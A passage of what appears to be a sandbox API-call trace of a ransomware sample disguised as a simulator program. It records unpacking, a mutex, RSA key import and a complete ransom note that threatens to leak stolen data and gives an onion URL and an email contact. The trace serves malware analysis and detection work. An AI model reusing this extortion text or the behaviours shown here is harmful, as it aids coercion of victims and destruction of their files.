pvarRight=0x18f4fc, pvarResult=0x18f51c | out: pvarResult=0x18f51c) returned 0x0 [0049.212] VarCmp (pvarLeft=0x18f51c, pvarRight=0x18f4ec, lcid=0x0, dwFlags=0x30001) returned 0x1 [0049.212] lstrcpynW (in: lpString1=0x18f590, lpString2="", iMaxLength=0 | out: lpString1="") returned="" [0049.212] RtlMoveMemory (in: Destination=0x18f590, Source=0x2e00f0, Length=0xf8 | out: Destination=0x18f590) [0049.212] lstrcpynW (in: lpString1=0x18f6ec, lpString2="", iMaxLength=0 | out: lpString1="") returned="" [0049.212] lstrcpynW (in: lpString1=0x18f590, lpString2="", iMaxLength=0 | out: lpString1="䕐") returned="䕐" [0049.212] RtlMoveMemory (in: Destination=0x18f6ec, Source=0x18f590, Length=0xf8 | out: Destination=0x18f6ec) [0049.213] VarCmp (pvarLeft=0x18f3e8, pvarRight=0x18f578, lcid=0x0, dwFlags=0x30001) returned 0x2 [0049.213] VarCmp (pvarLeft=0x18f3e8, pvarRight=0x18f578, lcid=0x0, dwFlags=0x30001) returned 0x2 [0049.213] VarCmp (pvarLeft=0x18f3e8, pvarRight=0x18f578, lcid=0x0, dwFlags=0x30001) returned 0x2 [0049.213] VarCmp (pvarLeft=0x18f3e8, pvarRight=0x18f578, lcid=0x0, dwFlags=0x30001) returned 0x2 [0049.213] lstrcpynW (in: lpString1=0x18f418, lpString2="", iMaxLength=0 | out: lpString1="") returned="" [0049.213] RtlMoveMemory (in: Destination=0x18f418, Source=0x2e0000, Length=0x40 | out: Destination=0x18f418) [0049.213] VarSub (in: pvarLeft=0x18f46c, pvarRight=0x18f3e8, pvarResult=0x18f408 | out: pvarResult=0x18f408) returned 0x0 [0049.213] VarCmp (pvarLeft=0x18f408, pvarRight=0x18f3d8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0049.213] VarCmp (pvarLeft=0x18f46c, pvarRight=0x18f3e8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0049.213] VarAdd (in: pvarLeft=0x18f46c, pvarRight=0x18f3e8, pvarResult=0x18f408 | out: pvarResult=0x18f408) returned 0x0 [0049.213] VarCmp (pvarLeft=0x18f408, pvarRight=0x18f3d8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0049.213] lstrcpynW (in: lpString1=0x18f47c, lpString2="", iMaxLength=0 | out: lpString1="") returned="" [0049.213] RtlMoveMemory (in: Destination=0x18f47c, Source=0x2e00f0, Length=0xf8 | out: Destination=0x18f47c) [0049.213] lstrcpynW (in: lpString1=0x18f5b4, lpString2="", iMaxLength=0 | out: lpString1="") returned="" [0049.213] lstrcpynW (in: lpString1=0x18f47c, lpString2="", iMaxLength=0 | out: lpString1="䕐") returned="䕐" [0049.213] RtlMoveMemory (in: Destination=0x18f5b4, Source=0x18f47c, Length=0xf8 | out: Destination=0x18f5b4) [0049.213] lstrcpynW (in: lpString1=0x18f6e4, lpString2="", iMaxLength=0 | out: lpString1="") returned="" [0049.213] lstrcpynW (in: lpString1=0x18f654, lpString2="", iMaxLength=0 | out: lpString1="") returned="" [0049.213] RtlMoveMemory (in: Destination=0x18f6e4, Source=0x18f654, Length=0x8 | out: Destination=0x18f6e4) [0049.213] lstrcpynW (in: lpString1=0x18f6d0, lpString2="", iMaxLength=0 | out: lpString1="") returned="" [0049.213] RtlMoveMemory (in: Destination=0x18f6d0, Source=0x2ee000, Length=0x8 | out: Destination=0x18f6d0) [0049.213] lstrcpynW (in: lpString1=0x18f6e0, lpString2="", iMaxLength=0 | out: lpString1="") returned="" [0049.213] RtlMoveMemory (in: Destination=0x18f6e0, Source=0x2ee008, Length=0x2 | out: Destination=0x18f6e0) [0049.213] lstrcpynW (in: lpString1=0x18f6cc, lpString2="", iMaxLength=0 | out: lpString1="") returned="" [0049.214] RtlMoveMemory (in: Destination=0x18f6cc, Source=0x2e1073, Length=0x4 | out: Destination=0x18f6cc) [0049.214] lstrcpynW (in: lpString1=0x18f6cc, lpString2="", iMaxLength=0 | out: lpString1="児.က") returned="児.က" [0049.214] RtlMoveMemory (in: Destination=0x2e1073, Source=0x18f6cc, Length=0x4 | out: Destination=0x2e1073) [0049.214] lstrcpynW (in: lpString1=0x18f6e0, lpString2="", iMaxLength=0 | out: lpString1="び") returned="び" [0049.214] RtlMoveMemory (in: Destination=0x18f6e0, Source=0x2ee00a, Length=0x2 | out: Destination=0x18f6e0) [0049.214] lstrcpynW (in: lpString1=0x18f6cc, lpString2="", iMaxLength=0 | out: lpString1="児.က") returned="児.က" [0049.214] RtlMoveMemory (in: Destination=0x18f6cc, Source=0x2e1084, Length=0x4 | out: Destination=0x18f6cc) [0049.214] lstrcpynW (in: lpString1=0x18f6cc, lpString2="", iMaxLength=0 | out: lpString1="兔.က") returned="兔.က" [0049.214] RtlMoveMemory (in: Destination=0x2e1084, Source=0x18f6cc, Length=0x4 | out: Destination=0x2e1084) [0049.214] lstrcpynW (in: lpString1=0x18f6e0, lpString2="", iMaxLength=0 | out: lpString1="や") returned="や" [0049.214] RtlMoveMemory (in: Destination=0x18f6e0, Source=0x2ee00c, Length=0x2 | out: Destination=0x18f6e0) [0049.214] lstrcpynW (in: lpString1=0x18f6cc, lpString2="", iMaxLength=0 | out: lpString1="兔.က") returned="兔.က" [0049.214] RtlMoveMemory (in: Destination=0x18f6cc, Source=0x2e1095, Length=0x4 | out: Destination=0x18f6cc) [0049.214] lstrcpynW (in: lpString1=0x18f6cc, lpString2="", iMaxLength=0 | out: lpString1="兘.က") returned="兘.က" [0049.214] RtlMoveMemory (in: Destination=0x2e1095, Source=0x18f6cc, Length=0x4 | out: Destination=0x2e1095) [0049.214] lstrcpynW (in: lpString1=0x18f6e0, lpString2="", iMaxLength=0 | out: lpString1="ゕ") returned="ゕ" [0049.214] RtlMoveMemory (in: Destination=0x18f6e0, Source=0x2ee00e, Length=0x2 | out: Destination=0x18f6e0) [0049.214] lstrcpynW (in: lpString1=0x18f6cc, lpString2="", iMaxLength=0 | out: lpString1="兘.က") returned="兘.က" [0049.214] RtlMoveMemory (in: Destination=0x18f6cc, Source=0x2e10a9, Length=0x4 | out: Destination=0x18f6cc) [0049.214] lstrcpynW (in: lpString1=0x18f6cc, lpString2="", iMaxLength=0 | out: lpString1="兜.က") returned="兜.က" [0049.214] RtlMoveMemory (in: Destination=0x2e10a9, Source=0x18f6cc, Length=0x4 | out: Destination=0x2e10a9) [0049.214] lstrcpynW (in: lpString1=0x18f6e0, lpString2="", iMaxLength=0 | out: lpString1="ォ") returned="ォ" [0049.214] RtlMoveMemory (in: Destination=0x18f6e0, Source=0x2ee010, Length=0x2 | out: Destination=0x18f6e0) [0049.214] lstrcpynW (in: lpString1=0x18f6cc, lpString2="", iMaxLength=0 | out: lpString1="兜.က") returned="兜.က" [0049.214] RtlMoveMemory (in: Destination=0x18f6cc, Source=0x2e1560, Length=0x4 | out: Destination=0x18f6cc) [0049.214] lstrcpynW (in: lpString1=0x18f6cc, lpString2="", iMaxLength=0 | out: lpString1="偨.က") returned="偨.က" [0049.214] RtlMoveMemory (in: Destination=0x2e1560, Source=0x18f6cc, Length=0x4 | out: Destination=0x2e1560) [0049.214] lstrcpynW (in: lpString1=0x18f6e0, lpString2="", iMaxLength=0 | out: lpString1="㕠") returned="㕠" [0049.215] RtlMoveMemory (in: Destination=0x18f6e0, Source=0x2ee012, Length=0x2 | out: Destination=0x18f6e0) [0049.215] lstrcpynW (in: lpString1=0x18f6cc, lpString2="", iMaxLength=0 | out: lpString1="偨.က") returned="偨.က" [0049.215] RtlMoveMemory (in: Destination=0x18f6cc, Source=0x2e1576, Length=0x4 | out: Destination=0x18f6cc) [0049.215] lstrcpynW (in: lpString1=0x18f6cc, lpString2="", iMaxLength=0 | out: lpString1="偼.က") returned="偼.က" [0049.215] RtlMoveMemory (in: Destination=0x2e1576, Source=0x18f6cc, Length=0x4 | out: Destination=0x2e1576) [0049.215] lstrcpynW (in: lpString1=0x18f6e0, lpString2="", iMaxLength=0 | out: lpString1="㕶") returned="㕶" [0049.215] RtlMoveMemory (in: Destination=0x18f6e0, Source=0x2ee014, Length=0x2 | out: Destination=0x18f6e0) [0049.215] lstrcpynW (in: lpString1=0x18f6cc, lpString2="", iMaxLength=0 | out: lpString1="偼.က") returned="偼.က" [0049.215] RtlMoveMemory (in: Destination=0x18f6cc, Source=0x2e15ae, Length=0x4 | out: Destination=0x18f6cc) [0049.215] lstrcpynW (in: lpString1=0x18f6cc, lpString2="", iMaxLength=0 | out: lpString1="倜.က") returned="倜.က" [0049.215] RtlMoveMemory (in: Destination=0x2e15ae, Source=0x18f6cc, Length=0x4 | out: Destination=0x2e15ae) [0049.215] lstrcpynW (in: lpString1=0x18f6e0, lpString2="", iMaxLength=0 | out: lpString1="㖮") returned="㖮" [0049.215] RtlMoveMemory (in: Destination=0x18f6e0, Source=0x2ee016, Length=0x2 | out: Destination=0x18f6e0) [0049.215] lstrcpynW (in: lpString1=0x18f6cc, lpString2="", iMaxLength=0 | out: lpString1="倜.က") returned="倜.က" [0049.215] RtlMoveMemory (in: Destination=0x18f6cc, Source=0x2e15c2, Length=0x4 | out: Destination=0x18f6cc) [0049.215] lstrcpynW (in: lpString1=0x18f6cc, lpString2="", iMaxLength=0 | out: lpString1="净.က") returned="净.က" [0049.215] RtlMoveMemory (in: Destination=0x2e15c2, Source=0x18f6cc, Length=0x4 | out: Destination=0x2e15c2) [0049.215] lstrcpynW (in: lpString1=0x18f6e0, lpString2="", iMaxLength=0 | out: lpString1="㗂") returned="㗂" [0049.215] RtlMoveMemory (in: Destination=0x18f6e0, Source=0x2ee018, Length=0x2 | out: Destination=0x18f6e0) [0049.215] lstrcpynW (in: lpString1=0x18f6cc, lpString2="", iMaxLength=0 | out: lpString1="净.က") returned="净.က" [0049.215] RtlMoveMemory (in: Destination=0x18f6cc, Source=0x2e15f7, Length=0x4 | out: Destination=0x18f6cc) [0049.215] lstrcpynW (in: lpString1=0x18f6cc, lpString2="", iMaxLength=0 | out: lpString1="偨.က") returned="偨.က" [0049.215] RtlMoveMemory (in: Destination=0x2e15f7, Source=0x18f6cc, Length=0x4 | out: Destination=0x2e15f7) [0049.215] lstrcpynW (in: lpString1=0x18f6e0, lpString2="", iMaxLength=0 | out: lpString1="㗷") returned="㗷" [0049.215] RtlMoveMemory (in: Destination=0x18f6e0, Source=0x2ee01a, Length=0x2 | out: Destination=0x18f6e0) [0049.215] lstrcpynW (in: lpString1=0x18f6cc, lpString2="", iMaxLength=0 | out: lpString1="偨.က") returned="偨.က" [0049.215] RtlMoveMemory (in: Destination=0x18f6cc, Source=0x2e1614, Length=0x4 | out: Destination=0x18f6cc) [0049.215] lstrcpynW (in: lpString1=0x18f6cc, lpString2="", iMaxLength=0 | out: lpString1="全.က") returned="全.က" [0049.215] RtlMoveMemory (in: Destination=0x2e1614, Source=0x18f6cc, Length=0x4 | out: Destination=0x2e1614) [0049.215] lstrcpynW (in: lpString1=0x18f6e0, lpString2="", iMaxLength=0 | out: lpString1="㘔") returned="㘔" [0049.216] RtlMoveMemory (in: Destination=0x18f6e0, Source=0x2ee01c, Length=0x2 | out: Destination=0x18f6e0) [0049.216] lstrcpynW (in: lpString1=0x18f6cc, lpString2="", iMaxLength=0 | out: lpString1="全.က") returned="全.က" [0049.216] RtlMoveMemory (in: Destination=0x18f6cc, Source=0x2e162a, Length=0x4 | out: Destination=0x18f6cc) [0049.216] lstrcpynW (in: lpString1=0x18f6cc, lpString2="", iMaxLength=0 | out: lpString1="倠.က") returned="倠.က" [0049.216] RtlMoveMemory (in: Destination=0x2e162a, Source=0x18f6cc, Length=0x4 | out: Destination=0x2e162a) [0049.216] lstrcpynW (in: lpString1=0x18f6e0, lpString2="", iMaxLength=0 | out: lpString1="㘪") returned="㘪" [0049.216] RtlMoveMemory (in: Destination=0x18f6e0, Source=0x2ee01e, Length=0x2 | out: Destination=0x18f6e0) [0049.216] lstrcpynW (in: lpString1=0x18f6cc, lpString2="", iMaxLength=0 | out: lpString1="倠.က") returned="倠.က" [0049.216] RtlMoveMemory (in: Destination=0x18f6cc, Source=0x2e1669, Length=0x4 | out: Destination=0x18f6cc) [0049.216] lstrcpynW (in: lpString1=0x18f6cc, lpString2="", iMaxLength=0 | out: lpString1="刨.က") returned="刨.က" [0049.216] RtlMoveMemory (in: Destination=0x2e1669, Source=0x18f6cc, Length=0x4 | out: Destination=0x2e1669) [0049.216] lstrcpynW (in: lpString1=0x18f6e0, lpString2="", iMaxLength=0 | out: lpString1="㙩") returned="㙩" [0049.216] RtlMoveMemory (in: Destination=0x18f6e0, Source=0x2ee020, Length=0x2 | out: Destination=0x18f6e0) [0049.216] lstrcpynW (in: lpString1=0x18f6cc, lpString2="", iMaxLength=0 | out: lpString1="刨.က") returned="刨.က" [0049.216] RtlMoveMemory (in: Destination=0x18f6cc, Source=0x2e1682, Length=0x4 | out: Destination=0x18f6cc) [0049.216] lstrcpynW (in: lpString1=0x18f6cc, lpString2="", iMaxLength=0 | out: lpString1="傈.က") returned="傈.က" [0049.216] RtlMoveMemory (in: Destination=0x2e1682, Source=0x18f6cc, Length=0x4 | out: Destination=0x2e1682) [0049.216] lstrcpynW (in: lpString1=0x18f6e0, lpString2="", iMaxLength=0 | out: lpString1="㚂") returned="㚂" [0049.216] RtlMoveMemory (in: Destination=0x18f6e0, Source=0x2ee022, Length=0x2 | out: Destination=0x18f6e0) [0049.216] lstrcpynW (in: lpString1=0x18f6cc, lpString2="", iMaxLength=0 | out: lpString1="傈.က") returned="傈.က" [0049.216] RtlMoveMemory (in: Destination=0x18f6cc, Source=0x2e168f, Length=0x4 | out: Destination=0x18f6cc) [0049.216] lstrcpynW (in: lpString1=0x18f6cc, lpString2="", iMaxLength=0 | out: lpString1="全.က") returned="全.က" [0049.216] RtlMoveMemory (in: Destination=0x2e168f, Source=0x18f6cc, Length=0x4 | out: Destination=0x2e168f) [0049.216] lstrcpynW (in: lpString1=0x18f6e0, lpString2="", iMaxLength=0 | out: lpString1="㚏") returned="㚏" [0049.216] RtlMoveMemory (in: Destination=0x18f6e0, Source=0x2ee024, Length=0x2 | out: Destination=0x18f6e0) [0049.216] lstrcpynW (in: lpString1=0x18f6cc, lpString2="", iMaxLength=0 | out: lpString1="全.က") returned="全.က" [0049.216] RtlMoveMemory (in: Destination=0x18f6cc, Source=0x2e16a0, Length=0x4 | out: Destination=0x18f6cc) [0049.216] lstrcpynW (in: lpString1=0x18f6cc, lpString2="", iMaxLength=0 | out: lpString1="휐.က") returned="휐.က" [0049.217] RtlMoveMemory (in: Destination=0x2e16a0, Source=0x18f6cc, Length=0x4 | out: Destination=0x2e16a0) [0049.217] lstrcpynW (in: lpString1=0x18f6e0, lpString2="", iMaxLength=0 | out: lpString1="㚠") returned="㚠" [0049.217] RtlMoveMemory (in: Destination=0x18f6e0, Source=0x2ee026, Length=0x2 | out: Destination=0x18f6e0) [0049.217] lstrcpynW (in: lpString1=0x18f6cc, lpString2="", iMaxLength=0 | out: lpString1="휐.က") returned="휐.က" [0049.217] RtlMoveMemory (in: Destination=0x18f6cc, Source=0x2e16ea, Length=0x4 | out: Destination=0x18f6cc) [0049.217] lstrcpynW (in: lpString1=0x18f6cc, lpString2="", iMaxLength=0 | out: lpString1="傐.က") returned="傐.က" [0049.217] RtlMoveMemory (in: Destination=0x2e16ea, Source=0x18f6cc, Length=0x4 | out: Destination=0x2e16ea) [0049.217] lstrcpynW (in: lpString1=0x18f6e0, lpString2="", iMaxLength=0 | out: lpString1="㛪") returned="㛪" [0049.217] RtlMoveMemory (in: Destination=0x18f6e0, Source=0x2ee028, Length=0x2 | out: Destination=0x18f6e0) [0049.217] lstrcpynW (in: lpString1=0x18f6cc, lpString2="", iMaxLength=0 | out: lpString1="傐.က") returned="傐.က" [0049.217] RtlMoveMemory (in: Destination=0x18f6cc, Source=0x2e16ef, Length=0x4 | out: Destination=0x18f6cc) [0049.217] lstrcpynW (in: lpString1=0x18f6cc, lpString2="", iMaxLength=0 | out: lpString1="劌.က") returned="劌.က" [0049.217] RtlMoveMemory (in: Destination=0x2e16ef, Source=0x18f6cc, Length=0x4 | out: Destination=0x2e16ef) [0049.217] lstrcpynW (in: lpString1=0x18f6e0, lpString2="", iMaxLength=0 | out: lpString1="㛯") returned="㛯" [0049.217] RtlMoveMemory (in: Destination=0x18f6e0, Source=0x2ee02a, Length=0x2 | out: Destination=0x18f6e0) [0049.217] lstrcpynW (in: lpString1=0x18f6cc, lpString2="", iMaxLength=0 | out: lpString1="劌.က") returned="劌.က" [0049.217] RtlMoveMemory (in: Destination=0x18f6cc, Source=0x2e16f6, Length=0x4 | out: Destination=0x18f6cc) [0049.217] lstrcpynW (in: lpString1=0x18f6cc, lpString2="", iMaxLength=0 | out: lpString1="傀.က") returned="傀.က" [0049.217] RtlMoveMemory (in: Destination=0x2e16f6, Source=0x18f6cc, Length=0x4 | out: Destination=0x2e16f6) [0049.217] lstrcpynW (in: lpString1=0x18f6e0, lpString2="", iMaxLength=0 | out: lpString1="㛶") returned="㛶" [0049.217] RtlMoveMemory (in: Destination=0x18f6e0, Source=0x2ee02c, Length=0x2 | out: Destination=0x18f6e0) [0049.217] lstrcpynW (in: lpString1=0x18f6cc, lpString2="", iMaxLength=0 | out: lpString1="傀.က") returned="傀.က" [0049.217] RtlMoveMemory (in: Destination=0x18f6cc, Source=0x2e1750, Length=0x4 | out: Destination=0x18f6cc) [0049.217] lstrcpynW (in: lpString1=0x18f6cc, lpString2="", iMaxLength=0 | out: lpString1="側.က") returned="側.က" [0049.217] RtlMoveMemory (in: Destination=0x2e1750, Source=0x18f6cc, Length=0x4 | out: Destination=0x2e1750) [0049.217] lstrcpynW (in: lpString1=0x18f6e0, lpString2="", iMaxLength=0 | out: lpString1="㝐") returned="㝐" [0049.217] RtlMoveMemory (in: Destination=0x18f6e0, Source=0x2ee02e, Length=0x2 | out: Destination=0x18f6e0) [0049.217] lstrcpynW (in: lpString1=0x18f6cc, lpString2="", iMaxLength=0 | out: lpString1="側.က") returned="側.က" [0049.217] RtlMoveMemory (in: Destination=0x18f6cc, Source=0x2e177f, Length=0x4 | out: Destination=0x18f6cc) [0049.218] RtlMoveMemory (in: Destination=0x2e177f, Source=0x18f6cc, Length=0x4 | out: Destination=0x2e177f) [0049.218] RtlMoveMemory (in: Destination=0x18f6e0, Source=0x2ee030, Length=0x2 | out: Destination=0x18f6e0) [0049.218] RtlMoveMemory (in: Destination=0x18f6cc, Source=0x2e17b1, Length=0x4 | out: Destination=0x18f6cc) [0049.218] RtlMoveMemory (in: Destination=0x2e17b1, Source=0x18f6cc, Length=0x4 | out: Destination=0x2e17b1) [0049.218] RtlMoveMemory (in: Destination=0x18f6e0, Source=0x2ee032, Length=0x2 | out: Destination=0x18f6e0) [0049.218] RtlMoveMemory (in: Destination=0x18f6cc, Source=0x2e17c8, Length=0x4 | out: Destination=0x18f6cc) [0049.218] VarCmp (pvarLeft=0x18f4f0, pvarRight=0x18f680, lcid=0x0, dwFlags=0x30001) returned 0x2 [0049.218] VarCmp (pvarLeft=0x18f4f0, pvarRight=0x18f680, lcid=0x0, dwFlags=0x30001) returned 0x2 [0049.218] VarCmp (pvarLeft=0x18f4f0, pvarRight=0x18f680, lcid=0x0, dwFlags=0x30001) returned 0x2 [0049.218] VarCmp (pvarLeft=0x18f4f0, pvarRight=0x18f680, lcid=0x0, dwFlags=0x30001) returned 0x2 [0049.218] VarSub (in: pvarLeft=0x18f574, pvarRight=0x18f4f0, pvarResult=0x18f510 | out: pvarResult=0x18f510) returned 0x0 [0049.218] VarCmp (pvarLeft=0x18f510, pvarRight=0x18f4e0, lcid=0x0, dwFlags=0x30001) returned 0x0 [0049.218] VarCmp (pvarLeft=0x18f574, pvarRight=0x18f4f0, lcid=0x0, dwFlags=0x30001) returned 0x0 [0049.218] VarAdd (in: pvarLeft=0x18f574, pvarRight=0x18f4f0, pvarResult=0x18f510 | out: pvarResult=0x18f510) returned 0x0 [0049.218] VarCmp (pvarLeft=0x18f510, pvarRight=0x18f4e0, lcid=0x0, dwFlags=0x30001) returned 0x1 [0049.218] VirtualProtect (in: lpAddress=0x2e1000, dwSize=0x2564, flNewProtect=0x20, lpflOldProtect=0x18f6c0 | out: lpflOldProtect=0x18f6c0*=0x4) returned 1 [0049.220] lstrcpynW (in: lpString1=0x18f6c4, lpString2="", iMaxLength=0 | out: lpString1="琮硥t") returned="琮硥t" [0049.220] RtlMoveMemory (in: Destination=0x18f6c4, Source=0x2e0210, Length=0x28 | out: Destination=0x18f6c4) [0049.220] lstrcpynW (in: lpString1=0x18f6c0, lpString2="", iMaxLength=0 | out: lpString1="\x04") returned="\x04" [0049.220] VirtualProtect (in: lpAddress=0x2e4000, dwSize=0x28, flNewProtect=0x4, lpflOldProtect=0x18f6c0 | out: lpflOldProtect=0x18f6c0*=0x4) returned 1 [0049.220] lstrcpynW (in: lpString1=0x18f6c4, lpString2="", iMaxLength=0 | out: lpString1="獢s") returned="獢s" [0049.220] RtlMoveMemory (in: Destination=0x18f6c4, Source=0x2e0238, Length=0x28 | out: Destination=0x18f6c4) [0049.220] lstrcpynW (in: lpString1=0x18f6c0, lpString2="", iMaxLength=0 | out: lpString1="\x04") returned="\x04" [0049.220] VirtualProtect (in: lpAddress=0x2e5000, dwSize=0x21c0, flNewProtect=0x2, lpflOldProtect=0x18f6c0 | out: lpflOldProtect=0x18f6c0*=0x4) returned 1 [0049.221] lstrcpynW (in: lpString1=0x18f6c4, lpString2="", iMaxLength=0 | out: lpString1="爮慤慴") returned="爮慤慴" [0049.221] RtlMoveMemory (in: Destination=0x18f6c4, Source=0x2e0260, Length=0x28 | out: Destination=0x18f6c4) [0049.221] lstrcpynW (in: lpString1=0x18f6c0, lpString2="", iMaxLength=0 | out: lpString1="\x04") returned="\x04" [0049.221] VirtualProtect (in: lpAddress=0x2e8000, dwSize=0x5bb0, flNewProtect=0x4, lpflOldProtect=0x18f6c0 | out: lpflOldProtect=0x18f6c0*=0x4) returned 1 [0049.221] lstrcpynW (in: lpString1=0x18f6c4, lpString2="", iMaxLength=0 | out: lpString1="搮瑡a") returned="搮瑡a" [0049.221] RtlMoveMemory (in: Destination=0x18f6c4, Source=0x2e0288, Length=0x28 | out: Destination=0x18f6c4) [0049.221] lstrcpynW (in: lpString1=0x18f6c0, lpString2="", iMaxLength=0 | out: lpString1="\x04") returned="\x04" [0049.221] VirtualProtect (in: lpAddress=0x2ee000, dwSize=0x3a4, flNewProtect=0x2, lpflOldProtect=0x18f6c0 | out: lpflOldProtect=0x18f6c0*=0x4) returned 1 [0049.221] VirtualFree (lpAddress=0x0, dwSize=0x0, dwFreeType=0x8000) returned 0 [0049.222] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QuantumQuditSimulator.exe\" " [0049.222] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2ed7a0, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QuantumQuditSimulator.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\quantumquditsimulator.exe")) returned 0x3f [0049.222] StrStrIW (lpFirst="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QuantumQuditSimulator.exe\" ", lpSrch="/log:") returned 0x0 [0049.222] StrStrIW (lpFirst="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QuantumQuditSimulator.exe\" ", lpSrch="/scan:") returned 0x0 [0049.222] StrStrIW (lpFirst="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QuantumQuditSimulator.exe\" ", lpSrch="/marker:") returned 0x0 [0049.222] StrStrIW (lpFirst="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QuantumQuditSimulator.exe\" ", lpSrch="/nodel") returned 0x0 [0049.222] GetWindowsDirectoryW (in: lpBuffer=0x18f5c4, uSize=0x104 | out: lpBuffer="C:\\Windows") returned 0xa [0049.222] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x18f7cc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x18f7cc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0049.223] wsprintfW (in: param_1=0x18f5c4, param_2="%0.8X%0.8X%0.8X%0.8X" | out: param_1="9C354B425386A9680A70D52DA14E1AA5") returned 32 [0049.223] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="9C354B425386A9680A70D52DA14E1AA5") returned 0x144 [0049.224] GetLastError () returned 0x0 [0049.224] Sleep (dwMilliseconds=0x64) [0049.334] Sleep (dwMilliseconds=0x64) [0049.442] Sleep (dwMilliseconds=0x64) [0049.552] Sleep (dwMilliseconds=0x64) [0049.661] Sleep (dwMilliseconds=0x64) [0049.770] Sleep (dwMilliseconds=0x64) [0049.879] Sleep (dwMilliseconds=0x64) [0049.988] Sleep (dwMilliseconds=0x64) [0050.098] CryptAcquireContextW (in: phProv=0x18f7c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x18f7c8*=0x6680e8) returned 1 [0050.099] CryptImportKey (in: hProv=0x6680e8, pbData=0x2e8000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x18f7cc | out: phKey=0x18f7cc*=0x688c28) returned 1 [0050.100] CryptEncrypt (in: hKey=0x688c28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2ed540*, pdwDataLen=0x18f7c4*=0x20, dwBufLen=0x100 | out: pbData=0x2ed540*, pdwDataLen=0x18f7c4*=0x100) returned 1 [0050.101] CryptDestroyKey (hKey=0x688c28) returned 1 [0050.101] CryptReleaseContext (hProv=0x6680e8, dwFlags=0x0) returned 1 [0050.101] lstrlenA (lpString="\r\n\x09\x09\r\n\x09\r\n\x09\x09RECOVERY MANUAL\r\n\x09\r\n\x09\r\n\x09\x09

Your ClientId:

\r\n\x09\x09\r\n\x09\x09\x09
\r\n      \x09  \r\n%CLIENT_ID%                                                     \r\n\x09  \r\n\x09\x09\x09
\r\n\x09\x09\r\n\x09\x09
\r\n\x09\x09\r\n\x09\x09/!\\ YOUR NETWORK HAS BEEN HACKED /!\\
\r\n\x09\x09All your important files have been encrypted!
\r\n\x09\x09
\r\n\x09\r\nYour files are safe! Only encrypted.

\r\n\r\nANY ATTEMPT TO RESTORE YOUR FILES WITH THIRD-PARTY SOFTWARE
\r\nWILL PERMANENTLY CORRUPT IT.
\r\nDO NOT MODIFY ENCRYPTED FILES.
\r\nDO NOT RENAME ENCRYPTED FILES.

\r\n\r\nNo software available on internet can help you. We are the only ones able to
\r\nsolve your problem.

\r\nYou can send us 2-3 files and we will decrypt it for free
\r\nto prove we are able to give your files back.

\r\n\r\nAlso we gathered highly confidential/personal data from your network. These data are currently stored on
\r\na private server. This server will be immediately destroyed after your payment.
\r\nIf you won't pay, we will release your data to public or reseller.
\r\nSo you can expect your data to be published or improperly used in the near future.
\r\nIn this case you will face all legal and reputational consequences of the leak.
\r\n\r\n\r\nWe only desire to get a ransom and we don't aim to damage your reputation or destroy
\r\nyour business.

\r\n\r\n\r\n
\r\n\x09\x09\r\n\x09\x09Contact us to discuss your next step.

\r\n\x09\x09http://lhvqpdydwvtgy2ficsvamluobvonnitji5jgpfvc7c5pj6ci35gurjyd.onion/?cid=%CLIENT_ID%
\r\n* Note that this server is only available via Tor browser only

\r\nFollow the instructions to open the link:
\r\n 1. Type the addres \"https://www.torproject.org\" in your Internet browser. It opens the Tor site.
\r\n 2. Press \"Download Tor\", then press \"Download Tor Browser Bundle\", install and run it.
\r\n 3. Now you have Tor browser. In the Tor Browser open \"http://lhvqpdydwvtgy2ficsvamluobvonnitji5jgpfvc7c5pj6ci35gurjyd.onion/?cid=%CLIENT_ID% \".
\r\n 4. Start a chat and follow the further instructions. (Password field should be empty for the first login).

\r\n\x09\x09
\x09\x09\x09\r\n\r\n\x09\x09If you can`t use the above link, use the email:
\r\n\x09\x09MartinMacDonald1996@protonmail.com
\r\n\x09\x09\r\n\x09\x09Please note, sometimes our support is away from keyboard, but we will reply shortly.
\r\n \x09\x09Kindly advise you to contact us as soon as possible.

\r\n\x09\r\n\r\n\r\n\r\n\x09") returned 2793 [0050.101] GetComputerNameA (in: lpBuffer=0x18f794, nSize=0x18f790 | out: lpBuffer="XDUWTFONO", nSize=0x18f790) returned 1 [0050.101] StrStrIA (lpFirst="\r\n\x09\x09\r\n\x09\r\n\x09\x09RECOVERY MANUAL\r\n\x09\r\n\x09\r\n\x09\x09

Your ClientId:

\r\n\x09\x09\r\n\x09\x09\x09
\r\n      \x09  \r\n%CLIENT_ID%                                                     \r\n\x09  \r\n\x09\x09\x09
\r\n\x09\x09\r\n\x09\x09
\r\n\x09\x09\r\n\x09\x09/!\\ YOUR NETWORK HAS BEEN HACKED /!\\
\r\n\x09\x09All your important files have been encrypted!
\r\n\x09\x09
\r\n\x09\r\nYour files are safe! Only encrypted.

\r\n\r\nANY ATTEMPT TO RESTORE YOUR FILES WITH THIRD-PARTY SOFTWARE
\r\nWILL PERMANENTLY CORRUPT IT.
\r\nDO NOT MODIFY ENCRYPTED FILES.
\r\nDO NOT RENAME ENCRYPTED FILES.

\r\n\r\nNo software available on internet can help you. We are the only ones able to
\r\nsolve your problem.

\r\nYou can send us 2-3 files and we will decrypt it for free
\r\nto prove we are able to give your files back.

